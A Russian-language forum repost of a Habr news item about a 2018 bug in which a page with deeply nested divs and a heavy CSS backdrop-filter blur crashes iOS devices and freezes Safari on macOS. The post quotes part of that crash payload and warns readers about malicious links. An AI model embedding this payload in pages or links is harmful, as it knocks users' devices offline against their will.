29

IOS CSS of death

PoC )

IOS CSS of death Копипаста, Habr, iOS, Mac Os, iPhone, Safari, HTML, CSS, Длиннопост

На github опубликован код, приводящий к force restart iOS (11/12 GM) устройств при посещении html-страницы. Также приводит к зависанию Mac OS High Sierra/Mohave при использовании Safari.

Код, приводящий к force restart представляет из себя html-код с большим количеством вложенных div'ов и "сумашедшей" функцией размытия заднего плана:

...
div {
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
width:10000px; height:10000px;
}
</style>
</head>
<body>
<div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div><div>
...

Также опубликована PoC html-страница, реализующая данный баг (пользователи Safari переходят на свой страх и риск).Есть предположение, что баг закрался на уровне ниже, нежели webkit и может привести к более серьезным последствиям. Также, использование данного бага может быть применимо в социотехнических компаниях и дурацких розыгрышах, так что советую крайне подозрительно относится ко всем ссылкам, тем более что на iOS все браузеры, по сути, это надстройка над Сафари.

IOS CSS of death Копипаста, Habr, iOS, Mac Os, iPhone, Safari, HTML, CSS, Длиннопост

Есть предположение, что баг закрался на уровне ниже, нежели webkit и может привести к более серьезным последствиям. Также, использование данного бага может быть применимо в социотехнических компаниях и дурацких розыгрышах, так что советую крайне подозрительно относится ко всем ссылкам, тем более что на iOS все браузеры, по сути, это надстройка над Сафари.


Оригинал: https://habr.com/post/423411/

Нашел источник: https://twitter.com/pwnsdx/status/1040944750973595649

Информационная безопасность

1.2K пост22.8K подписчика

Добавить пост

Правила сообщества

Обязательно к прочтению для авторов:

1. Если вы добавляете пост, утверждающий об утечке данных или наличии дыр в системе, предоставьте ссылку на источники или технически подкованное расследование. Посты из разряда "Какой-то банк слил данные, потому что мне звонили мошенники" будут выноситься в общую ленту.
2. Все вопросы "Как обезопасить сервер\приложение\устройство" - в лигу "Компьютер это просто".

Обязательно к прочтению для всех:

Добавление ссылки разрешено если она не содержит описание коммерческих (платных) продуктов и/или идентификаторов для отслеживания перехода и для доступа не нужен пароль или оплата в т.ч. интернет-ресурсы, каналы (от 3-х тематических видео), блоги, группы, сообщества, СМИ и т.д.


Запрещены политические holy wars.

По решению модератора или администратора сообщества пользователь будет забанен за:

1. Флуд и оскорбление пользователя, в т.ч. провокация спора, флуда, холивара (высказывание без аргументации о конкретной применимости конкретного решения в конкретной ситуации), требование уже данного ответа, распространение сведений порочащих честь и репутацию, принижающих квалификацию оппонента, переходы на личности.

2. Публикацию поста/комментария не соответствующего тематике сообщества, в том числе обсуждение администраторов и модераторов сообщества, для этого есть специальное сообщество.

3. За обвинение в киберпреступной деятельности.

4. За нарушение прочих Правил Пикабу.

Подробнее
Лучшие посты за сегодня
5184

Будь как Сергей!

Будь как Сергей!
4955

Соседи

Показать полностью
4758

Просто китайцы. Просто строят железную дорогу. Быстро

3871

Омикрон - это Мир Окон, то есть Windows, то есть Билл Гейтс

Омикрон - это Мир Окон, то есть Windows, то есть Билл Гейтс
3728

Аренда

Аренда Юмор, Охота, Картинка с текстом, Мат, Аренда, Заяц
Показать полностью 1
3414

На волне национальностей

На волне национальностей Комментарии, Комментарии на Пикабу, Национальность, Параллельная вселенная
3390

По поводу алкоголя в Чечне

Показать полностью
3315

Суд оставил на свободе жителя Кавказа за убийство сестры, "опозорившей" семью

Суд оставил на свободе жителя Кавказа за убийство сестры, "опозорившей" семью Негатив, Ингушетия, Убийство, Родственники, Суд, Видео, Длиннопост, Кавказцы
Показать полностью 1
3061

Мужик с ЛСД похож

Мужик с ЛСД похож Юмор, Мемы, СССР, США, Франция, Инопланетяне
Показать полностью 1
3060

Вот такая зажигалка

3057

Кино в одного...

Кино в одного...
3045

В Китае открыли моноклональное антитело, нейтрализующее все штаммы коронавируса

В Китае открыли моноклональное антитело, нейтрализующее все штаммы коронавируса Коронавирус, Антитела, Моноклональные антитела, Китай, Наука, Пандемия, ТАСС, Новости
"Полученные нами снимки показали, что молекула 35B5 связывается с той частью S-белка коронавируса, которая фактически не меняется по мере эволюции SARS-CoV-2. Это позволяет использовать данный регион не только для создания антител, но и разработки универсальной вакцины от всех штаммов коронавируса", - пишут ученые.
Показать полностью
3040

Я не баянист, а классик

Я не баянист, а классик
2927

Мне нужен кран!

2558

Необычное имя

Необычное имя
2415

Обиженки

Обиженки Юмор, Скриншот, Комментарии на Пикабу, Повтор
2284

Лучший друг

2097

Беда ролевиков

Беда ролевиков
2034

Однажды…

Однажды…
2032

Воспоминания

Воспоминания Комментарии на Пикабу, Бабушка с внуком, Воспоминания из детства
Показать полностью 1
Похожие посты закончились. Возможно, вас заинтересуют другие посты по тегам: